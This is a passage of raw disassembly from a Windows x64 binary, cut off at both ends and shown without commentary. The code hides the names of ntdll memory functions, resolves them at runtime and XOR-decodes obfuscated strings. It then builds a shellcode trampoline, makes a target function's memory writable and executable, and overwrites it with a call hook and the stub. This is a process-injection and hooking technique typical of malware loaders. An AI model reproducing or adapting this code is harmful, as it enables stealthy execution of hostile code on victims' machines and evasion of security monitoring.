lea rax, [rbp + 0x2000]
lea rdx, [rbp + 0x2020]
lea r8, str.tAlocaeViruMmyWPCThdExRsFSngObjQIfpGD
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x1fe0]
lea rdx, [rbp + 0x2000]
lea r8, [0x00705322]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x1fc0]
lea rdx, [rbp + 0x1fe0]
lea r8, [0x00705340]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x1fa0]
lea rdx, [rbp + 0x1fc0]
lea r8, str.tAlocaeViruMmyWPCThdExRsFSngObjQIfpGD
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x1f80]
lea rdx, [rbp + 0x1fa0]
lea r8, [0x00705338]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x1f60]
lea rdx, [rbp + 0x1f80]
lea r8, [0x0070533a]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x1f40]
lea rdx, [rbp + 0x1f60]
lea r8, [0x00705328]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x1f20]
lea rdx, [rbp + 0x1f40]
lea r8, [0x00705322]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x1f00]
lea rdx, [rbp + 0x1f20]
lea r8, [0x00705320]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x1ee0]
lea rdx, [rbp + 0x1f00]
lea r8, [0x0070533c]
mov rcx, rax
call fcn.004b3730
lea rdx, [rbp + 0x1ee0]
lea rax, [rbp + 0xf0]
mov rcx, rax
call fcn.004a49f0
lea rax, [rbp + 0x1ee0]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x1f00]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x1f20]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x1f40]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x1f60]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x1f80]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x1fa0]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x1fc0]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x1fe0]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x2000]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x2020]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x2040]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x2060]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x2080]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x20a0]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x20c0]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x20e0]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x2100]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x212f]
mov rcx, rax
call fcn.0046f1d0
lea rax, [rbp + 0xf0]
mov rcx, rax
call fcn.0042ee90
mov rbx, rax
lea rcx, str.ntdll.dll
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rdx, rbx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [0x007300b0], rax
lea rax, [rbp + 0x233f]
mov rcx, rax
call fcn.0046f1a0
lea rdx, [rbp + 0x233f]
lea rax, [rbp + 0x2310]
mov r8, rdx
lea rdx, [0x00705314]
mov rcx, rax
call fcn.004a4620
lea rax, [rbp + 0x22f0]
lea rdx, [rbp + 0x2310]
lea r8, str.tAlocaeViruMmyWPCThdExRsFSngObjQIfpGD
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x22d0]
lea rdx, [rbp + 0x22f0]
lea r8, [0x0070535e]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x22b0]
lea rdx, [rbp + 0x22d0]
lea r8, [0x00705322]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x2290]
lea rdx, [rbp + 0x22b0]
lea r8, [0x0070531a]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x2270]
lea rdx, [rbp + 0x2290]
lea r8, [0x00705320]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x2250]
lea rdx, [rbp + 0x2270]
lea r8, [0x00705330]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x2230]
lea rdx, [rbp + 0x2250]
lea r8, [0x0070533e]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x2210]
lea rdx, [rbp + 0x2230]
lea r8, [0x00705340]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x21f0]
lea rdx, [rbp + 0x2210]
lea r8, [0x00705322]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x21d0]
lea rdx, [rbp + 0x21f0]
lea r8, [0x0070531e]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x21b0]
lea rdx, [rbp + 0x21d0]
lea r8, [0x0070532a]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x2190]
lea rdx, [rbp + 0x21b0]
lea r8, str.tAlocaeViruMmyWPCThdExRsFSngObjQIfpGD
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x2170]
lea rdx, [rbp + 0x2190]
lea r8, [0x00705326]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x2150]
lea rdx, [rbp + 0x2170]
lea r8, [0x0070531c]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x2130]
lea rdx, [rbp + 0x2150]
lea r8, [0x0070534a]
mov rcx, rax
call fcn.004b3730
lea rdx, [rbp + 0x2130]
lea rax, [rbp + 0xf0]
mov rcx, rax
call fcn.004a49f0
lea rax, [rbp + 0x2130]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x2150]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x2170]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x2190]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x21b0]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x21d0]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x21f0]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x2210]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x2230]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x2250]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x2270]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x2290]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x22b0]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x22d0]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x22f0]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x2310]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x233f]
mov rcx, rax
call fcn.0046f1d0
lea rax, [rbp + 0xf0]
mov rcx, rax
call fcn.0042ee90
mov rbx, rax
lea rcx, str.ntdll.dll
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rdx, rbx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [0x007300b8], rax
lea rax, [rbp + 0x25af]
mov rcx, rax
call fcn.0046f1a0
lea rdx, [rbp + 0x25af]
lea rax, [rbp + 0x2580]
mov r8, rdx
lea rdx, [0x00705314]
mov rcx, rax
call fcn.004a4620
lea rax, [rbp + 0x2560]
lea rdx, [rbp + 0x2580]
lea r8, str.tAlocaeViruMmyWPCThdExRsFSngObjQIfpGD
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x2540]
lea rdx, [rbp + 0x2560]
lea r8, [0x00705346]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x2520]
lea rdx, [rbp + 0x2540]
lea r8, [0x00705328]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x2500]
lea rdx, [rbp + 0x2520]
lea r8, [0x00705322]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x24e0]
lea rdx, [rbp + 0x2500]
lea r8, [0x00705322]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x24c0]
lea rdx, [rbp + 0x24e0]
lea r8, [0x00705324]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x24a0]
lea rdx, [rbp + 0x24c0]
lea r8, [0x00705326]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x2480]
lea rdx, [rbp + 0x24a0]
lea r8, [0x00705328]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x2460]
lea rdx, [rbp + 0x2480]
lea r8, str.tAlocaeViruMmyWPCThdExRsFSngObjQIfpGD
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x2440]
lea rdx, [rbp + 0x2460]
lea r8, [0x0070532a]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x2420]
lea rdx, [rbp + 0x2440]
lea r8, [0x00705320]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x2400]
lea rdx, [rbp + 0x2420]
lea r8, [0x0070531a]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x23e0]
lea rdx, [rbp + 0x2400]
lea r8, [0x0070532c]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x23c0]
lea rdx, [rbp + 0x23e0]
lea r8, [0x00705322]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x23a0]
lea rdx, [rbp + 0x23c0]
lea r8, [0x0070532e]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x2380]
lea rdx, [rbp + 0x23a0]
lea r8, [0x0070531c]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x2360]
lea rdx, [rbp + 0x2380]
lea r8, [0x00705328]
mov rcx, rax
call fcn.004b3730
lea rax, [rbp + 0x2340]
lea rdx, [rbp + 0x2360]
lea r8, [0x00705330]
mov rcx, rax
call fcn.004b3730
lea rdx, [rbp + 0x2340]
lea rax, [rbp + 0xf0]
mov rcx, rax
call fcn.004a49f0
lea rax, [rbp + 0x2340]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x2360]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x2380]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x23a0]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x23c0]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x23e0]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x2400]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x2420]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x2440]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x2460]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x2480]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x24c0]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x24e0]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x2500]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x2520]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x2540]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x2560]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x2580]
mov rcx, rax
call fcn.004a49b0
lea rax, [rbp + 0x25af]
mov rcx, rax
call fcn.0046f1d0
lea rax, [rbp + 0xf0]
mov rcx, rax
call fcn.0042ee90
mov rbx, rax
lea rcx, str.ntdll.dll
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rdx, rbx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [0x007300c0], rax
lea rcx, [0x004b8020]
call fcn.00401b72
mov rax, qword [0x00701bf8]
mov qword [rbp + 0x2a38], rax
mov qword [rbp + 0x2a30], 0
movabs rax, 0x6c642e6c6c64746e
mov qword [rbp + 0xde], rax
mov word [rbp + 0xe6], 0x6c
movabs rax, 0x65736f6c43744e
mov qword [rbp + 0xd6], rax
lea rax, [rbp + 0xde]
mov qword [rbp + 0x2a28], rax
lea rax, [rbp + 0xd6]
mov qword [rbp + 0x2a20], rax
lea rax, [rbp + 0x25b0]
lea rdx, [rbp + 0x25ef]
mov rcx, rax
call fcn.00401c88
lea rax, [rbp + 0x25b0]
mov qword [rbp + 0x2a00], rax
mov rax, qword [rbp + 0x2a00]
mov qword [rbp + 0x29f8], rax
mov rax, qword [rbp + 0x29f8]
movzx eax, byte [rax + 0x33]
test al, al
setne al
test al, al
je 0x4069d2
mov rax, qword [rbp + 0x2a00]
mov rdx, qword [rbp + 0x2a00]
mov qword [rbp + 0x29f0], rdx
mov qword [rbp + 0x29e8], rax
mov dword [rbp + 0x29e4], 0
cmp dword [rbp + 0x29e4], 0x33
jg 0x4069d1
mov eax, dword [rbp + 0x29e4]
movsxd rdx, eax
mov rax, qword [rbp + 0x29e8]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x29e4]
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
mov ecx, edx
sar ecx, 4
cdq
sub ecx, edx
mov edx, ecx
imul edx, edx, 0x32
sub eax, edx
mov edx, eax
mov eax, edx
add eax, 0x37
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x29f0]
mov eax, dword [rbp + 0x29e4]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x29e4], 1
jmp 0x406967
nop
lea rax, [rbp + 0x25b0]
mov rcx, qword [rbp + 0x2a20]
mov rdx, qword [rbp + 0x2a28]
mov r8, rcx
mov rcx, rax
call fcn.00401560
movabs rax, 0x52515005e8834858
movabs rdx, 0x5341524151415041
mov qword [rbp + 0x90], rax
mov qword [rbp + 0x98], rdx
movabs rax, 0x334455667788b948
movabs rdx, 0xec83480889481122
mov qword [rbp + 0xa0], rax
mov qword [rbp + 0xa8], rdx
movabs rax, 0x834800000011e840
movabs rdx, 0x59415a415b4140c4
mov qword [rbp + 0xb0], rax
mov qword [rbp + 0xb8], rdx
movabs rax, 0x90e0ff58595a5841
mov qword [rbp + 0xc0], rax
mov rax, qword [rbp + 0x2a28]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x2a18], rax
cmp qword [rbp + 0x2a18], 0
jne 0x406b8c
lea rax, [rbp + 0x25f0]
lea rdx, [rbp + 0x261f]
mov rcx, rax
call fcn.00401e3a
lea rax, [rbp + 0x25f0]
mov qword [rbp + 0x29d8], rax
mov rax, qword [rbp + 0x29d8]
mov qword [rbp + 0x29d0], rax
mov rax, qword [rbp + 0x29d0]
movzx eax, byte [rax + 0x23]
test al, al
setne al
test al, al
je 0x406b6c
mov rax, qword [rbp + 0x29d8]
mov rdx, qword [rbp + 0x29d8]
mov qword [rbp + 0x29c8], rdx
mov qword [rbp + 0x29c0], rax
mov dword [rbp + 0x29bc], 0
cmp dword [rbp + 0x29bc], 0x23
jg 0x406b6b
mov eax, dword [rbp + 0x29bc]
movsxd rdx, eax
mov rax, qword [rbp + 0x29c0]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x29bc]
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
mov ecx, edx
sar ecx, 4
cdq
sub ecx, edx
mov edx, ecx
imul edx, edx, 0x32
sub eax, edx
mov edx, eax
mov eax, edx
add eax, 0x37
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x29c8]
mov eax, dword [rbp + 0x29bc]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x29bc], 1
jmp 0x406b01
nop
lea rax, [rbp + 0x25f0]
mov rdx, qword [rbp + 0x2a28]
mov rcx, rax
call fcn.00401560
mov ebx, 1
jmp 0x40789f
mov rdx, qword [rbp + 0x2a20]
mov rax, qword [rbp + 0x2a18]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x2a10], rax
cmp qword [rbp + 0x2a10], 0
jne 0x406cc0
lea rax, [rbp + 0x2620]
lea rdx, [rbp + 0x2652]
mov rcx, rax
call fcn.00401f6c
lea rax, [rbp + 0x2620]
mov qword [rbp + 0x29b0], rax
mov rax, qword [rbp + 0x29b0]
mov qword [rbp + 0x29a8], rax
mov rax, qword [rbp + 0x29a8]
movzx eax, byte [rax + 0x26]
test al, al
setne al
test al, al
je 0x406c96
mov rax, qword [rbp + 0x29b0]
mov rdx, qword [rbp + 0x29b0]
mov qword [rbp + 0x29a0], rdx
mov qword [rbp + 0x2998], rax
mov dword [rbp + 0x2994], 0
cmp dword [rbp + 0x2994], 0x26
jg 0x406c95
mov eax, dword [rbp + 0x2994]
movsxd rdx, eax
mov rax, qword [rbp + 0x2998]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x2994]
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
mov ecx, edx
sar ecx, 4
cdq
sub ecx, edx
mov edx, ecx
imul edx, edx, 0x32
sub eax, edx
mov edx, eax
mov eax, edx
add eax, 0x37
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x29a0]
mov eax, dword [rbp + 0x2994]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x2994], 1
jmp 0x406c2b
nop
lea rax, [rbp + 0x2620]
mov rcx, qword [rbp + 0x2a20]
mov rdx, qword [rbp + 0x2a28]
mov r8, rcx
mov rcx, rax
call fcn.00401560
mov ebx, 1
jmp 0x40789f
lea rax, [rbp + 0x2653]
lea rdx, [rbp + 0x265e]
mov rcx, rax
call fcn.004020b6
lea rax, [rbp + 0x2653]
mov qword [rbp + 0x2988], rax
mov rax, qword [rbp + 0x2988]
mov qword [rbp + 0x2980], rax
mov rax, qword [rbp + 0x2980]
movzx eax, byte [rax + 0xa]
test al, al
setne al
test al, al
je 0x406d9b
mov rax, qword [rbp + 0x2988]
mov rdx, qword [rbp + 0x2988]
mov qword [rbp + 0x2978], rdx
mov qword [rbp + 0x2970], rax
mov dword [rbp + 0x296c], 0
cmp dword [rbp + 0x296c], 0xa
jg 0x406d9a
mov eax, dword [rbp + 0x296c]
movsxd rdx, eax
mov rax, qword [rbp + 0x2970]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x296c]
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
mov ecx, edx
sar ecx, 4
cdq
sub ecx, edx
mov edx, ecx
imul edx, edx, 0x32
sub eax, edx
mov edx, eax
mov eax, edx
add eax, 0x37
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x2978]
mov eax, dword [rbp + 0x296c]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x296c], 1
jmp 0x406d30
nop
lea rax, [rbp + 0x2653]
mov rcx, rax
call fcn.00401663
mov qword [rbp + 0x2a48], rax
mov rax, qword [rbp + 0x2a38]
lea rcx, [rax + 0x38]
mov rdx, qword [rbp + 0x2a10]
mov rax, qword [rbp + 0x2a48]
mov r8, rcx
mov rcx, rax
call fcn.0040182e
mov qword [rbp + 0x88], rax
mov rax, qword [rbp + 0x88]
test rax, rax
jne 0x406e83
lea rax, [rbp + 0x2660]
lea rdx, [rbp + 0x265f]
mov rcx, rax
call fcn.00402120
mov rax, qword [rbp + 0x2660]
mov rdx, qword [rbp + 0x2668]
mov qword [rbp + 0x10], rax
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x2670]
mov rdx, qword [rbp + 0x2678]
mov qword [rbp + 0x20], rax
mov qword [rbp + 0x28], rdx
mov rax, qword [rbp + 0x2680]
mov rdx, qword [rbp + 0x2688]
mov qword [rbp + 0x30], rax
mov qword [rbp + 0x38], rdx
mov rax, qword [rbp + 0x2690]
mov qword [rbp + 0x40], rax
movzx eax, byte [rbp + 0x2698]
mov byte [rbp + 0x48], al
lea rax, [rbp + 0x10]
mov rcx, rax
call fcn.00420350
mov rdx, qword [0x00730088]
mov rax, qword [rbp + 0x2a48]
mov rcx, rax
call rdx
mov qword [rbp + 0x2a48], 0
mov qword [rbp + 0x80], 0
mov dword [rbp + 0x2a44], 0
cmp dword [rbp + 0x2a44], 7
jg 0x406ed7
mov eax, dword [rbp + 0x2a44]
movsxd rdx, eax
mov rax, qword [rbp + 0x2a10]
add rax, rdx
mov rcx, rax
mov eax, dword [rbp + 0x2a44]
cdqe
lea rdx, [rbp + 0x80]
add rdx, rax
movzx eax, byte [rcx]
mov byte [rdx], al
add dword [rbp + 0x2a44], 1
jmp 0x406e98
mov rax, qword [rbp + 0x80]
lea rdx, [rbp + 0x90]
mov rcx, rax
call fcn.004017e3
mov qword [rbp + 0x78], 8
mov dword [rbp + 0x74], 0
mov rax, qword [rbp + 0x2a10]
mov qword [rbp + 0x68], rax
mov r10, qword [0x00730058]
lea r8, [rbp + 0x78]
lea rdx, [rbp + 0x68]
mov rax, qword [rbp + 0x2a48]
lea rcx, [rbp + 0x74]
mov qword [rsp + 0x20], rcx
mov r9d, 0x40
mov rcx, rax
call r10
mov dword [rbp + 0x2a0c], eax
cmp dword [rbp + 0x2a0c], 0
je 0x40705d
mov rbx, qword [rbp + 0x68]
lea rax, [rbp + 0x26a0]
lea rdx, [rbp + 0x26df]
mov rcx, rax
call fcn.004022fa
lea rax, [rbp + 0x26a0]
mov qword [rbp + 0x2960], rax
mov rax, qword [rbp + 0x2960]
mov qword [rbp + 0x2958], rax
mov rax, qword [rbp + 0x2958]
movzx eax, byte [rax + 0x3a]
test al, al
setne al
test al, al
je 0x407024
mov rax, qword [rbp + 0x2960]
mov rdx, qword [rbp + 0x2960]
mov qword [rbp + 0x2950], rdx
mov qword [rbp + 0x2948], rax
mov dword [rbp + 0x2944], 0
cmp dword [rbp + 0x2944], 0x3a
jg 0x407023
mov eax, dword [rbp + 0x2944]
movsxd rdx, eax
mov rax, qword [rbp + 0x2948]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x2944]
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
mov ecx, edx
sar ecx, 4
cdq
sub ecx, edx
mov edx, ecx
imul edx, edx, 0x32
sub eax, edx
mov edx, eax
mov eax, edx
add eax, 0x37
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x2950]
mov eax, dword [rbp + 0x2944]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x2944], 1
jmp 0x406fb9
nop
lea rax, [rbp + 0x26a0]
mov edx, dword [rbp + 0x2a0c]
mov r8d, edx
mov rdx, rbx
mov rcx, rax
call fcn.00401560
mov rdx, qword [0x00730088]
mov rax, qword [rbp + 0x2a48]
mov rcx, rax
call rdx
mov qword [rbp + 0x2a48], 0
mov rax, qword [rbp + 0x88]
sub rax, qword [rbp + 0x2a10]
sub rax, 5
mov qword [rbp + 0x60], rax
mov dword [rbp + 0x5b], 0xe8
mov byte [rbp + 0x5f], 0
mov dword [rbp + 0x2a40], 0
cmp dword [rbp + 0x2a40], 3
jg 0x4070bc
mov eax, dword [rbp + 0x2a40]
cdqe
lea rdx, [rbp + 0x60]
add rax, rdx
mov edx, dword [rbp + 0x2a40]
lea ecx, [rdx + 1]
movzx edx, byte [rax]
movsxd rax, ecx
mov byte [rbp + rax + 0x5b], dl
add dword [rbp + 0x2a40], 1
jmp 0x407088
mov rax, qword [rbp + 0x2a10]
mov qword [rbp + 0x68], rax
mov r10, qword [0x00730050]
mov rax, qword [rbp + 0x68]
mov r11, rax
lea rcx, [rbp + 0x5b]
mov rax, qword [rbp + 0x2a48]
lea rdx, [rbp + 0xe8]
mov qword [rsp + 0x20], rdx
mov r9d, 5
mov r8, rcx
mov rdx, r11
mov rcx, rax
call r10
mov dword [rbp + 0x2a0c], eax
cmp dword [rbp + 0x2a0c], 0
jne 0x40711e
mov rax, qword [rbp + 0xe8]
cmp rax, 5
je 0x407236
lea rax, [rbp + 0x26e0]
lea rdx, [rbp + 0x271f]
mov rcx, rax
call fcn.004024e4
lea rax, [rbp + 0x26e0]
mov qword [rbp + 0x2938], rax
mov rax, qword [rbp + 0x2938]
mov qword [rbp + 0x2930], rax
mov rax, qword [rbp + 0x2930]
movzx eax, byte [rax + 0x34]
test al, al
setne al
test al, al
je 0x4071f9
mov rax, qword [rbp + 0x2938]
mov rdx, qword [rbp + 0x2938]
mov qword [rbp + 0x2928], rdx
mov qword [rbp + 0x2920], rax
mov dword [rbp + 0x291c], 0
cmp dword [rbp + 0x291c], 0x34
jg 0x4071f8
mov eax, dword [rbp + 0x291c]
movsxd rdx, eax
mov rax, qword [rbp + 0x2920]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x291c]
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
mov ecx, edx
sar ecx, 4
cdq
sub ecx, edx
mov edx, ecx
imul edx, edx, 0x32
sub eax, edx
mov edx, eax
mov eax, edx
add eax, 0x37
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x2928]
mov eax, dword [rbp + 0x291c]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x291c], 1
jmp 0x40718e
nop
lea rax, [rbp + 0x26e0]
mov ecx, dword [rbp + 0x2a0c]
mov rdx, qword [rbp + 0x2a10]
mov r8d, ecx
mov rcx, rax
call fcn.00401560
mov rdx, qword [0x00730088]
mov rax, qword [rbp + 0x2a48]
mov rcx, rax
call rdx
mov qword [rbp + 0x2a48], 0
mov rax, qword [rbp + 0x2a38]
add rax, 0x38
mov qword [rbp + 0x78], rax
mov r10, qword [0x00730058]
lea r8, [rbp + 0x78]
lea rdx, [rbp + 0x88]
mov rax, qword [rbp + 0x2a48]
lea rcx, [rbp + 0x74]
mov qword [rsp + 0x20], rcx
mov r9d, 4
mov rcx, rax
call r10
mov dword [rbp + 0x2a0c], eax
cmp dword [rbp + 0x2a0c], 0
je 0x4073a1
mov rbx, qword [rbp + 0x88]
lea rax, [rbp + 0x2720]
lea rdx, [rbp + 0x275f]
mov rcx, rax
call fcn.0040269e
lea rax, [rbp + 0x2720]
mov qword [rbp + 0x2910], rax
mov rax, qword [rbp + 0x2910]
mov qword [rbp + 0x2908], rax
mov rax, qword [rbp + 0x2908]
movzx eax, byte [rax + 0x3a]
test al, al
setne al
test al, al
je 0x407368
mov rax, qword [rbp + 0x2910]
mov rdx, qword [rbp + 0x2910]
mov qword [rbp + 0x2900], rdx
mov qword [rbp + 0x28f8], rax
mov dword [rbp + 0x28f4], 0
cmp dword [rbp + 0x28f4], 0x3a
jg 0x407367
mov eax, dword [rbp + 0x28f4]
movsxd rdx, eax
mov rax, qword [rbp + 0x28f8]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x28f4]
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
mov ecx, edx
sar ecx, 4
cdq
sub ecx, edx
mov edx, ecx
imul edx, edx, 0x32
sub eax, edx
mov edx, eax
mov eax, edx
add eax, 0x37
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x2900]
mov eax, dword [rbp + 0x28f4]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x28f4], 1
jmp 0x4072fd
nop
lea rax, [rbp + 0x2720]
mov edx, dword [rbp + 0x2a0c]
mov r8d, edx
mov rdx, rbx
mov rcx, rax
call fcn.00401560
mov rdx, qword [0x00730088]
mov rax, qword [rbp + 0x2a48]
mov rcx, rax
call rdx
mov qword [rbp + 0x2a48], 0
mov r10, qword [0x00730050]
mov rax, qword [rbp + 0x88]
mov r11, rax
lea rcx, [rbp + 0x90]
mov rax, qword [rbp + 0x2a48]
lea rdx, [rbp + 0xe8]
mov qword [rsp + 0x20], rdx
mov r9d, 0x38
mov r8, rcx
mov rdx, r11
mov rcx, rax
call r10
mov dword [rbp + 0x2a0c], eax
cmp dword [rbp + 0x2a0c], 0
jne 0x4073fe
mov rax, qword [rbp + 0xe8]
cmp rax, 0x38
je 0x407519
mov rbx, qword [rbp + 0x88]
lea rax, [rbp + 0x2760]
lea rdx, [rbp + 0x279f]
mov rcx, rax
call fcn.00402888
lea rax, [rbp + 0x2760]
mov qword [rbp + 0x28e8], rax
mov rax, qword [rbp + 0x28e8]
mov qword [rbp + 0x28e0], rax
mov rax, qword [rbp + 0x28e0]
movzx eax, byte [rax + 0x34]
test al, al
setne al
test al, al
je 0x4074e0
mov rax, qword [rbp + 0x28e8]
mov rdx, qword [rbp + 0x28e8]
mov qword [rbp + 0x28d8], rdx
mov qword [rbp + 0x28d0], rax
mov dword [rbp + 0x28cc], 0
cmp dword [rbp + 0x28cc], 0x34
jg 0x4074df
mov eax, dword [rbp + 0x28cc]
movsxd rdx, eax
mov rax, qword [rbp + 0x28d0]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x28cc]
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
mov ecx, edx
sar ecx, 4
cdq
sub ecx, edx
mov edx, ecx
imul edx, edx, 0x32
sub eax, edx
mov edx, eax
mov eax, edx
add eax, 0x37
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x28d8]
mov eax, dword [rbp + 0x28cc]
cdqe
